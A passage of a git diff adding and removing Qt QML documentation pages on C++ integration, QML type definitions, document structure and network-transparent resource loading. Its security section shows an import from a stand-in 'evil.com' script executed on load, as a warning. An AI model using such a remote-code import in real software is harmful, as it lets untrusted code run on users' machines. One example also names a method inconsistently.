HappyBirthdaySong value source generates the lyrics of the song -"Happy Birthday". - -\snippet examples/qml/cppextensions/referenceexamples/valuesource/birthdayparty.h 0 - -Normally, assigning an object to a string property would not be allowed. In -the case of a property value source, rather than assigning the object instance -itself, the QML engine sets up an association between the value source and -the property. - -Property value sources are special types that derive from the -QQmlPropertyValueSource base class. This base class contains a single method, -QQmlPropertyValueSource::setTarget(), that the QML engine invokes when -associating the property value source with a property. The relevant part of -the \c HappyBirthdaySong type declaration looks like this: - -\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 0 -\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 1 -\snippet examples/qml/cppextensions/referenceexamples/valuesource/happybirthdaysong.h 2 - -In all other respects, property value sources are regular QML types. They must -be registered with the QML engine using the same macros as other types, and can -contain properties, signals and methods just like other types. - -When a property value source object is assigned to a property, QML first tries -to assign it normally, as though it were a regular QML type. Only if this -assignment fails does the engine call the \l {QQmlPropertyValueSource::}{setTarget()} method. This allows -the type to also be used in contexts other than just as a value source. - -\l {Extending QML - Property Value Source Example} shows the complete code used -to implement the \c HappyBirthdaySong property value source. -\section1 Optimization and Other Considerations -The \l{qml-engine-optimization}{ QML Engine} article suggests possible -optimization considerations as memory management and QVariant type usages. */ diff --git a/src/qml/doc/src/cppintegration/reverse.qdoc b/src/qml/doc/src/cppintegration/reverse.qdoc new file mode 100644 index 0000000000..e9948ee112 --- /dev/null +++ b/src/qml/doc/src/cppintegration/reverse.qdoc @@ -0,0 +1,252 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppintegration-reverse.html +\title Interacting With QML Objects From C++ +\brief Description of how to interact with QML objects from C++ + +\section1 QML Objects, QObject And QMetaObject + +QML object types are, internally, QObject-derived types. Each type has an +associated QMetaObject, and all functions, properties and signals of an +instance of a QML object type can be accessed through the QMetaObject. + +\section1 Accessing QML Objects From C++ + +Once you have a pointer to a QML object in C++, you can access its properties, +invoke its functions, and connect to its signals. To get such a pointer, a +C++ developer may either inspect the object hierarchy directly, or be passed +a pointer to the QML object as an argument in a function call. + + + +\section2 Loading QML Components from C++ + +A QML document can be loaded with QQmlComponent or QQuickView. QQmlComponent +loads a QML component as a C++ object; QQuickView also does this, +but additionally loads the QML component directly into a QGraphicsView. It is convenient for loading +a displayable QML component into a QWidget-based application. + +For example, suppose there is a \c MyItem.qml file that looks like this: + +\snippet qml/qtbinding/loading/MyItem.qml start +\snippet qml/qtbinding/loading/MyItem.qml end + +This QML document can be loaded with QQmlComponent or QQuickView with the following +C++ code. Using a QQmlComponent requires calling QQmlComponent::create() to create +a new instance of the component, while a QQuickView automatically creates an instance of the +component, which is accessible via QQuickView::rootObject(): + +\table +\row +\li +\snippet qml/qtbinding/loading/main.cpp QQmlComponent-a +\dots 0 +\snippet qml/qtbinding/loading/main.cpp QQmlComponent-b +\li +\snippet qml/qtbinding/loading/main.cpp QQuickView +\endtable + +This \c object is the instance of the \c MyItem.qml component that has been created. You can now +modify the item's properties using QObject::setProperty() or QQmlProperty: + +\snippet qml/qtbinding/loading/main.cpp properties + +Alternatively, you can cast the object to its actual type and call functions with compile-time +safety. In this case the base object of \c MyItem.qml is an \l Item, which is defined by the +QQuickItem class: + +\snippet qml/qtbinding/loading/main.cpp cast + +You can also connect to any signals or call functions defined in the component using +QMetaObject::invokeMethod() and QObject::connect(). See \l {Exchanging data between QML and C++} +below for further details. + + + + +\section2 Object Name And findChild + +NOTE: this is only applicable to QML object types provided by the Qt Quick +module. + +QML components are essentially object trees with children that have siblings and their own children. +Child objects of QML components can be located using the QObject::objectName property with +QObject::findChild(). For example, if the root item in \c MyItem.qml had a child \l Rectangle item: + +\snippet qml/qtbinding/loading/MyItem.qml start +\codeline +\snippet qml/qtbinding/loading/MyItem.qml child +\snippet qml/qtbinding/loading/MyItem.qml end + +The child could be located like this: + +\snippet qml/qtbinding/loading/main.cpp findChild + +If \c objectName is used inside a delegate of a ListView, \l Repeater or some other +element that creates multiple instances of its delegates, there will be multiple children with +the same \c objectName. In this case, QObject::findChildren() can be used to find all children +with a matching \c objectName. + +\warning While it is possible to use C++ to access and manipulate QML objects deep into the +object tree, we recommend that you do not take this approach outside of application +testing and prototyping. One strength of QML and C++ integration is the ability to implement the +QML user interface separately from the C++ logic and dataset backend, and this strategy breaks if the +C++ side reaches deep into the QML components to manipulate them directly. This would make it difficult +to, for example, swap a QML view component for another view, if the new component was missing a +required \c objectName. It is better for the C++ implementation to know as little as possible about +the QML user interface implementation and the composition of the QML object tree. + +\section2 Passed As Arguments + +Any QML object may be passed as an argument to a Q_INVOKABLE C++ function +if that function has a pointer to a QObject as a parameter. The object +may be passed via its id, or via a JavaScript var which references that object. + +XXX TODO: snippet example. + +\section1 Properties + +Any properties declared in a QML object are automatically accessible from C++. Given a QML item +like this: + +\snippet qml/qtbinding/properties-qml/MyItem.qml 0 + +The value of the \c someNumber property can be set and read using QQmlProperty, or +QObject::setProperty() and QObject::property(): + +\snippet qml/qtbinding/properties-qml/main.cpp 0 + +You should always use QObject::setProperty(), QQmlProperty or QMetaProperty::write() to +change a QML property value, to ensure the QML engine is made aware of the property change. For example, +say you have a custom element \c PushButton with a \c buttonText property that internally reflects +the value of a \c m_buttonText member variable. Modifying the member variable directly like this is +not a good idea: + +\badcode +// BAD! +QQmlComponent component(engine, "MyButton.qml"); +PushButton *button = qobject_cast<PushButton*>(component.create()); +button->m_buttonText = "Click me"; +\endcode + +Since the value is changed directly, this bypasses Qt's \l{The Meta-Object System}{meta-object system} +and the QML engine is not made aware of the property change. This means property bindings to +\c buttonText would not be updated, and any \c onButtonTextChanged handlers would not be called. + +\section1 Functions + +QML functions can be called from C++ and vice-versa. + +All QML functions are exposed to the meta-object system and can be called using +QMetaObject::invokeMethod(). Here is a C++ application that uses this to call a QML function: + +\table +\row +\li \snippet qml/qtbinding/functions-qml/MyItem.qml 0 +\li \snippet qml/qtbinding/functions-qml/main.cpp 0 +\endtable + +Notice the Q_RETURN_ARG() and Q_ARG() arguments for QMetaObject::invokeMethod() must be specified as +QVariant types, as this is the generic data type used for QML functions and return values. + +To call a C++ function from QML, the function must be either a Qt slot, or a function marked with +the Q_INVOKABLE macro, to be available to QML. In the following example, the QML code invokes +methods on the \c myObject object, which has been set using QQmlContext::setContextProperty(): + +\table +\row +\li +\snippet qml/qtbinding/functions-cpp/MyItem.qml 0 +\li +\snippet qml/qtbinding/functions-cpp/myclass.h 0 +\codeline +\snippet qml/qtbinding/functions-cpp/main.cpp 0 +\endtable + +QML supports the calling of overloaded C++ functions. If there are multiple C++ functions with the +same name but different arguments, the correct function will be called according to the number and +the types of arguments that are provided. + +\section1 Signals And Slots + +All QML signals are automatically available to C++, and can be connected to using QObject::connect() +like any ordinary Qt C++ signal. In return, any C++ signal can be received by a QML object using +\l {Signal Handlers}{signal handlers}. + +Here is a QML component with a signal named \c qmlSignal. This signal is connected to a C++ object's +slot using QObject::connect(), so that the \c cppSlot() method is called whenever the \c qmlSignal +is emitted: + +\table +\row +\li +\snippet qml/qtbinding/signals-qml/MyItem.qml 0 +\li +\snippet qml/qtbinding/signals-qml/myclass.h 0 +\codeline +\snippet qml/qtbinding/signals-qml/main.cpp 0 +\endtable + +To connect to Qt C++ signals from within QML, use a signal handler with the \c on<SignalName> syntax. +In the following example, the +QML code creates a \c ImageViewer object, and the \c imageChanged and \c loadingError signals of the +C++ object are connected to through \c onImagedChanged and \c onLoadingError signal handlers in QML: + +\table +\row +\li + +\snippet qml/qtbinding/signals-cpp/imageviewer.h start +\dots 4 +\snippet qml/qtbinding/signals-cpp/imageviewer.h end + +\li +\snippet qml/qtbinding/signals-cpp/standalone.qml 0 +\endtable + +(Note that if a signal has been declared as the NOTIFY signal for a property, QML allows it to be +received with an \c on<Property>Changed handler even if the signal's name does not follow the \c +<Property>Changed naming convention. In the above example, if the "imageChanged" signal was named +"imageModified" instead, the \c onImageChanged signal handler would still be called.) + +If, however, the object with the signal is not created from within the QML code, and the QML item only has a +reference to the created object - for example, if the object was set using +QQmlContext::setContextProperty() - then the \l Connections element can be used +instead to create the signal handler: + +\table +\row +\li \snippet qml/qtbinding/signals-cpp/main.cpp connections +\li \snippet qml/qtbinding/signals-cpp/MyItem.qml 0 +\endtable + +C++ signals can use enum values as parameters provided that the enum is declared in the +class that is emitting the signal, and that the enum is registered using Q_ENUMS. +See \l {Using enumerations of a custom type} below for details. + +*/ diff --git a/src/qml/doc/src/cppintegration/topic.qdoc b/src/qml/doc/src/cppintegration/topic.qdoc new file mode 100644 index 0000000000..1a53345e93 --- /dev/null +++ b/src/qml/doc/src/cppintegration/topic.qdoc @@ -0,0 +1,111 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-cppintegration-topic.html +\title Integrating QML And C++ +\brief Description of how to integrate QML and C++ code + +QML was designed to allow tight integration with C++ code. This allows hybrid +applications to be developed where the user-interface (and perhaps some small +amount of application logic) is specified in QML documents with QML and +JavaScript, but the bulk of the application logic is implemented in C++. + +Applications with a C++ entry-point can instantiate a QQmlEngine directly, +can use the QML type registration functions, and access the properties of the +root QQmlContext directly. Applications which utilize a QML entry point (that +is, they are loaded via \l{qtquick-qmlscene.html}{qmlscene} or some other tool) +can provide \l{qtqml-modules-cppplugins.html}{C++ plugins} which can register +types and provide functionality. + +You may want to mix QML and C++ for a number of reasons. For example: + +\list +\li To use functionality defined in a C++ source (for example, when using a C++ Qt-based data model, or +calling functions in a third-party C++ library) +\li To access functionality in the QtQml or QtQuick modules (for example, to dynamically generate +images using QQuickImageProvider) +\li To write your own QML elements (whether for your applications, or for distribution to others) +\endlist + + +There are a number of ways to extend your QML application through C++. For example, you could: + +\list +\li Load a QML component and manipulate it (or its children) from C++ +\li Embed a C++ object and its properties directly into a QML component (for example, to make a +particular C++ object callable from QML, or to replace a dummy list model with a real data set) +\li Define new QML elements (through QObject-based C++ classes) and create them directly from your +QML code +\endlist + + + +\section1 Exposing C++ Types To QML + +QML types may be implemented in C++ and then exposed to the QML type system via +plugins or type registration. This is covered in more detail elsewhere in the +documentation; see the documentation regarding +\l{qtqml-cppintegration-registercpptypes.html} +{Registering C++ Types With The QML Type System} for more information on that +topic. + +For more information on the specifics of how to define C++ types for use in QML +(not merely how to expose types to the QML type system), see the documentation +about defining \l{qtqml-modules-cppplugins.html#creating-a-plugin} +{C++ types for use in QML}. + +\section1 Exposing C++ Data To QML + +Data from C++ may be exposed to QML via context properties, instance +properties, or by returning data from Q_INVOKABLE methods. For more +information about each of these approaches, and the ownership semantics +applicable to each, see the documentation on \l{qtqml-cppintegration-data.html} +{Exposing C++ Data To QML}. + +\section1 Exposing C++ Functions To QML + +Functions from C++ may be exposed to QML via signals and slots, by tagging a +function declaration with the Q_INVOKABLE macro, or by registering the C++ type +as a module API and installing that module API into a particular namespace. +For more information about these approaches, see the documentation on +\l{qtqml-cppintegration-functions.html}{Exposing C++ Functionality To QML}. + +\section1 Interacting With Objects Defined In QML From C++ + +Most properties of an object defined in QML may be accessed via +QQmlProperty::read() or QObject::property(). If the property is a list +property, QQmlListReference may be used instead. + +All methods of an object defined in QML may be invoked using the +QMetaObject::invokeMethod() function. This includes dynamic methods and signal +handlers. + +For more information about accessing QML objects from C++, see the +documentation on \l{qtqml-cppintegration-reverse.html} +{Interacting With Objects Defined In QML From C++}. + +*/ diff --git a/src/qml/doc/src/documents/definetypes.qdoc b/src/qml/doc/src/documents/definetypes.qdoc new file mode 100644 index 0000000000..80222de6db --- /dev/null +++ b/src/qml/doc/src/documents/definetypes.qdoc @@ -0,0 +1,147 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-documents-definetypes.html +\title Defining Object Types through QML Documents +\brief Description of how a QML document is a reusable type definition + +One of the core features of QML is that it enables QML object types to be easily defined in a lightweight manner through QML documents to suit the needs of individual QML applications. The standard QtQuick module provides various types like \l Rectangle, \l Text and \l Image for building a QML application; beyond these, you can easily define your own QML types to be reused within your application. This ability to create your own types forms the building blocks of any QML application. + + +\section1 Defining an Object Type with a QML File + +To create an object type, a QML document should be placed into a text file named as \e <TypeName>.qml where \e <TypeName> is the desired name of the type, beginning with an uppercase letter. This document is then automatically recognized by the engine as a definition of a QML type. Additionally, a type defined in this manner is automatically made available to other QML files within the same directory as the engine searches within the immediate directory when resolving QML type names. + +For example, below is a document that declares a \l Rectangle with a child \l MouseArea. The document has been saved to file named \c SquareButton.qml: + +\qml +// SquareButton.qml +import QtQuick 2.0 + +Rectangle { + width: 100; height: 100 + color: "red" + + MouseArea { + anchors.fill: parent + onClicked: console.log("Button clicked!") + } +} +\endqml + +Since the file is named \c SquareButton.qml, \b {this can now be used as a type named \c SquareButton by any other QML file within the same directory}. For example, if there was a \c myapplication.qml file in the same directory, it could refer to the \c SquareButton type: + +\qml +// myapplication.qml +import QtQuick 2.0 + +SquareButton {} +\endqml + +\image documents-definetypes-simple.png + +This creates a 100 x 100 red \l Rectangle with an inner \l MouseArea, as defined in \c SquareButton.qml. When this \c myapplication.qml document is loaded by the engine, it loads the SquareButton.qml document as a component and instantiates it to create a \c SquareButton object. + +The \c SquareButton type encapsulates the tree of QML objects declared in \c SquareButton.qml. When the QML engine instantiates a \c SquareButton object from this type, it is instantiating an object from the \l Rectangle tree declared in \c SquareButton.qml. + +\note the letter case of the file name is significant on some (notably UNIX) filesystems. It is recommended the file name case matches the case of the desired QML type name exactly - for example, \c Box.qml and not \c BoX.qml - regardless of the platform to which the QML type will be deployed. + +\section2 Importing types defined outside the current directory + +If \c SquareButton.qml was not in the same directory as \c myapplication.qml, +the \c SquareButton type would need to be specifically made available through an \e import statement in \c myapplication.qml. It could be imported from a relative path on the file system, or as an installed module; see \l {QML Modules}{module} for more details. + + +\section1 Accessible Attributes of Custom Types + +The \b {root object} definition in a .qml file \b {defines the attributes that are available for a QML type}. All properties, signals and methods that belong to this root object - whether they are custom declared, or come from the QML type of the root object - are externally accessible and can be read and modified for objects of this type. + +For example, the root object type in the \c SquareButton.qml file above is \l Rectangle. This means any properties defined by the \l Rectangle type can be modified for a \c SquareButton object. The code below defines three \c SquareButton objects with customized values for some of the properties of the root \l Rectangle object of the \c SquareButton type: + +\qml +// application.qml +import QtQuick 2.0 + +Column { + SquareButton { width: 50; height: 50 } + SquareButton { x: 50; color: "blue" } + SquareButton { radius: 10 } +} +\endqml + +\image documents-definetypes-attributes.png + +The attributes that are accessible to objects of the custom QML type include any \l{Custom properties}{custom properties}, \l{Custom methods}{methods} and \l{Custom signals}{signals} that have additionally been defined for an object. For example, suppose the \l Rectangle in \c SquareButton.qml had been defined as follows, with additional properties, methods and signals: + +\qml +// SquareButton.qml +import QtQuick 2.0 + +Rectangle { + id: root + + property bool pressed: mouseArea.pressed + + signal buttonClicked(real xPos, real yPos) + + function showMousePosition() { + root.color = Qt.rgba(Qt.random(), Qt.random(), Qt.random(), 1) + } + + width: 100; height: 100 + color: "red" + + MouseArea { + id: mouseArea + anchors.fill: parent + onClicked: root.buttonClicked(mouse.x, mouse.y) + } +} +\endqml + +Any \c SquareButton object could make use of the \c pressed property, \c buttonClicked signal and \c randomizeColor() method that have been added to the root \l Rectangle: + +\qml +// application.qml +import QtQuick 2.0 + +SquareButton { + id: squareButton + + onButtonClicked: { + console.log("Clicked", xPos, yPos) + randomizeColor() + } + + Text { text: squareButton.pressed ? "Down" : "Up" } +} +\endqml + +Note that any of the \c id values defined in \c SquareButton.qml are not accessible to \c SquareButton objects, as id values are only accessible from within the component scope in which a component is declared. The \c SquareButton object definition above cannot refer to \c mouseArea in order to refer to the \l MouseArea child, and if it had an \c id of \c root rather than \c squareButton, this would not conflict with the \c id of the same value for the root object defined in \c SquareButton.qml as the two would be declared within separate scopes. + + +*/ diff --git a/src/qml/doc/src/documents/networktransparency.qdoc b/src/qml/doc/src/documents/networktransparency.qdoc new file mode 100644 index 0000000000..dd83813366 --- /dev/null +++ b/src/qml/doc/src/documents/networktransparency.qdoc @@ -0,0 +1,141 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-documents-networktransparency.html +\title Resource Loading and Network Transparency +\brief about loading files and resources accross a network + +QML supports network transparency by using URLs (rather than file names) for all +references from a QML document to other content. This means that anywhere a URL source is expected, +QML can handle remote resources as well as local ones, for example in the following image source: + +\qml +Image { + source: "http://www.example.com/images/logo.png" +} +\endqml + +Since a \e relative URL is the same +as a relative file, development of QML on regular file systems remains simple: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +Network transparency is supported throughout QML, for example: + +\list +\li Fonts - the \c source property of FontLoader is a URL +\li WebViews - the \c url property of WebView (obviously!) +\endlist + +Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load +\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine +will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file. +For example if the qmldir file contains the line "World World.qml", it will load +\tt http://example.com/mystuff/World.qml +Any other resources that \tt Hello.qml referred to, usually by a relative URL, would +similarly be loaded from the network. + + +\section1 Relative vs. Absolute URLs + +Whenever an object has a property of type URL (QUrl), assigning a string to that +property will actually assign an absolute URL - by resolving the string against +the URL of the document where the string is used. + +For example, consider this content in \tt{http://example.com/mystuff/test.qml}: + +\qml +Image { + source: "images/logo.png" +} +\endqml + +The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png}, +but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned +\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png. + +If the string assigned to a URL is already an absolute URL, then "resolving" does +not change it and the URL is assigned directly. + + +\section1 QRC Resources + +One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into +the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content +that is compiled into the executable: + +\code + QQuickView *canvas = new QQuickView; + canvas->setUrl(QUrl("qrc:/dial.qml")); +\endcode + +The content itself can then use relative URLs, and so be transparently unaware that the content is +compiled into the executable. + + +\section1 Limitations + +The \c import statement is only network transparent if it has an "as" clause. + +More specifically: +\list +\li \c{import "dir"} only works on local file systems +\li \c{import libraryUri} only works on local file systems +\li \c{import "dir" as D} works network transparently +\li \c{import libraryUrl as U} works network transparently +\endlist + + +\section1 Implications for Application Security + +The QML security model is that QML content is a chain of trusted content: the user +installs QML content that they trust in the same way as they install native Qt applications, +or programs written with runtimes such as Python and Perl. That trust is establish by any +of a number of mechanisms, including the availability of package signing on some platforms. + +In order to preserve the trust of users, QML application developers should not load +and execute arbitary JavaScript or QML resources. For example, consider the QML code below: + +\qml +import QtQuick 2.0 +import "http://evil.com/evil.js" as Evil + +Component { + onLoaded: Evil.doEvil() +} +\endqml + +This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine +will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content. + +As with any application accessing other content beyond its control, a QML application should +perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.} +*/ diff --git a/src/qml/doc/src/qml/scope.qdoc b/src/qml/doc/src/documents/scope.qdoc index 15cebc735d..09808f242f 100644 --- a/src/qml/doc/src/qml/scope.qdoc +++ b/src/qml/doc/src/documents/scope.qdoc @@ -25,12 +25,9 @@ ** ****************************************************************************/ /*! -\page qml-scope.html -\contentspage QML Reference -\ingroup qml-features -\title QML Scope -\brief access hierarchy in QML -\tableofcontents +\page qtqml-documents-scope.html +\title Scope and Naming Resolution +\brief overview of scope and naming resolution QML property bindings, inline functions, and imported JavaScript files all run in a JavaScript scope. Scope controls which variables an expression can @@ -294,15 +291,10 @@ Text { \section1 JavaScript Global Object -In addition to all the properties that a developer would normally expect on -the JavaScript global object, QML adds some custom extensions to make UI or -QML specific tasks a little easier. The -\l{JavaScript Runtime}{JavaScript runtime} and the \l{QML Scope}Â articles -contain more information about the scoping -capabilities - QML disallows element, id and property names that conflict with the properties on the global object to prevent any confusion. Programmers can be confident that \c Math.min(10, 9) will always work as expected! +See \l {JavaScript Host Environment} for more information. + */ diff --git a/src/qml/doc/src/documents/structure.qdoc b/src/qml/doc/src/documents/structure.qdoc new file mode 100644 index 0000000000..85d028688d --- /dev/null +++ b/src/qml/doc/src/documents/structure.qdoc @@ -0,0 +1,83 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-documents-structure.html +\title Structure of a QML Document +\brief Description of the structure of QML documents + + +A QML document is a self contained piece of QML source code that consists of two parts: + + \list + \li Its \e import statements + \li A single root object declaration + \endlist + +By convention, a single empty line separates the imports from the object hierarchy definition. + +QML documents are always encoded in UTF-8 format. + + + +\section1 Imports + +A document must import the necessary modules to enable the engine to load the QML object types referenced within the document. By default, a document can access any QML object types that have been defined through \c .qml files in the same directory; if a document needs to refer to any other object types, it must import the module that exports those types. + +QML does \e not have a preprocessor that modifies the document prior to +presentation to the \l{QQmlEngine}{QML engine}, unlike C or C++. +The \c import statements do not copy and prepend the code in the document, but +instead instruct the QML engine on how to resolve type references found +in the document. Any type reference present in a QML document - such as \c +Rectangle and \c ListView - including those made within an \l {Inline +JavaScript}{JavaScript block} or \l {Property Binding}{property +bindings}, are \e resolved based exclusively on the import statements. At least +one \c import statement must be present such as \c{import QtQuick 2.0}. + +Please see the \l{qtqml-syntax-imports.html}{QML Syntax - Import Statements} +documentation for in-depth information about QML imports. + + +\section1 The Root Object Declaration + +A QML document describes a hierarchy of objects which can be instantiated. +Each object definition has a certain structure; it has a type, it can have an +id and an object name, it can have properties, it can have methods, it can have +signals and it can have signal handlers. + +A QML file must only contain \b {a single root object definition}. The following is invalid and will generate an error: + +\code +// MyQmlFile.qml +import QtQuick 2.0 + +Rectangle { width: 200; height: 200; color: "red" } +Rectangle { width: 200; height: 200; color: "blue" } // invalid! +\endcode + +This is because a .qml file automatically defines a QML type, which encapsulates a \e single QML object definition. This is discussed further in \l{qtqml-documents-definetypes.html}{Documents as QML object type definitions}. + +*/ diff --git a/src/qml/doc/src/documents/topic.qdoc b/src/qml/doc/src/documents/topic.qdoc new file mode 100644 index 0000000000..d395270452 --- /dev/null +++ b/src/qml/doc/src/documents/topic.qdoc @@ -0,0 +1,64 @@ +/**************************************************************************** +** +** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). +** Contact: http://www.qt-project.org/ +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:FDL$ +** GNU Free Documentation License +** Alternatively, this file may be used under the terms of the GNU Free +** Documentation License version 1.3 as published by the Free Software +** Foundation and appearing in the file included in the packaging of +** this file. +** +** Other Usage +** Alternatively, this file may be used in accordance with the terms +** and conditions contained in a signed written agreement between you +** and Nokia. +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +/*! +\page qtqml-documents-topic.html +\title QML Documents +\brief Description of QML documents + +\section1 Structure Of A QML Document + +A QML document consists of two parts: its imports, and its object +hierarchy definition. See the \l {qtqml-documents-structure.html}{Structure of a QML Document} +for more information. + + +\section1 Documents as QML object type definitions + +Any QML document can also define a QML object type. + + +\section2 Defining a component with a .qml file + + +\section2 Attributes exposed by components + + + +\section1 Network Transparency + +It is important to note that QML is network-transparent. +Applications can import documents from remote paths just as +simply as documents from local paths. + +Please see the \l{qtqml-documents-networktransparency.html} +{Network Transparency} documentation for more information about network +transparency in imports. + +\section1 Scope and Naming Resolution + + +*/ diff --git a/src/qml/doc/src/engine/qmlengine.qdoc b/src/qml/doc/src/engine/qmlengine.qdoc deleted file mode 100644 index 07bce90b0f..0000000000 --- a/src/qml/doc/src/engine/qmlengine.qdoc +++ /dev/null @@ -1,480 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qmlengine.html -\ingroup qml-features -\title The QML Engine -\brief the engine runs QML applications - -The QML engine runs and executes QML -applications. The engine loads, instantiates, and executes the QML context as -specified in QML files, plugins, or applications. - -\section1 Core Module Classes - - The \l{QtQml}{Qt Declarative} module provides a set of C++ APIs for - extending your QML applications from C++ and embedding QML into C++ - applications. There are several core classes in the Qt Declarative module - that provide the essential capabilities for doing this. These are: - - \list - \li QQmlEngine: A QML engine provides the environment for executing QML code. Every - application requires at least one engine instance. - \li QQmlComponent: A component encapsulates QML information. - \li QQmlContext: A context allows an application to expose data to - the QML components created by an engine. - \endlist - - The Qt Declarative module consists of the engine, - context, component encapsulation, and visual items. - - \list - \li QQuickItem - \li QQuickPaintedItem - \li QQuickView - \endlist - - \section2 Declarative Engine - A QQmlEngine allows the configuration of global settings that - apply to all of its QML component instances: for example, the - QNetworkAccessManager to be used for network communications, and the - file path to be used for persistent storage. - - QQmlComponent is used to load QML documents. Each - QQmlComponent instance represents a single document. A component - can be created from the URL or file path of a QML document, or the raw - QML code of the document. Component instances are instatiated through - the QQmlComponent::create() method, like this: - - \code - QQmlEngine engine; - QQmlComponent component(&engine, QUrl::fromLocalFile("MyRectangle.qml")); - QObject *rectangleInstance = component.create(); - - // ... - delete rectangleInstance; - \endcode - - QML documents can also be loaded using QQuickView. This class - provides a convenient QWidget-based view for embedding QML components - into QGraphicsView-based applications. (For other methods of integrating - QML into QWidget-based applications, see \l {Integrating QML Code with - existing Qt UI code}.) - -\section1 Engine and Context Initialization - - \section2 Loading QML Components from C++ - - A QML document can be loaded with QQmlComponent or QQuickView. - QQmlComponent loads a QML component as a C++ object; - QQuickView also does this, but additionally loads the QML component - directly into a QGraphicsView. It is convenient for loading a displayable - QML component into a QWidget-based application. - - For example, suppose there is a \c MyItem.qml file that looks like this: - - \snippet qml/qtbinding/loading/MyItem.qml start - \snippet qml/qtbinding/loading/MyItem.qml end - - This QML document can be loaded with QQmlComponent or - QQuickView with the following C++ code. Using a QQmlComponent - requires calling QQmlComponent::create() to create a new instance of - the component, while a QQuickView automatically creates an instance of - the component, which is accessible via QQuickView::rootObject(): - - \table - \row - \li - \snippet qml/qtbinding/loading/main.cpp QQmlComponent-a - \dots 0 - \snippet qml/qtbinding/loading/main.cpp QQmlComponent-b - \li - \snippet qml/qtbinding/loading/main.cpp QQuickView - \endtable - - This \c object is the instance of the \c MyItem.qml component that has been - created. You can now modify the item's properties using - QObject::setProperty() or QQmlProperty: - - \snippet qml/qtbinding/loading/main.cpp properties - - Alternatively, you can cast the object to its actual type and call functions - with compile-time safety. In this case the base object of \c MyItem.qml is - an \l Item, which is defined by the QQuickItem class: - - \snippet qml/qtbinding/loading/main.cpp cast - - You can also connect to any signals or call functions defined in the - component using 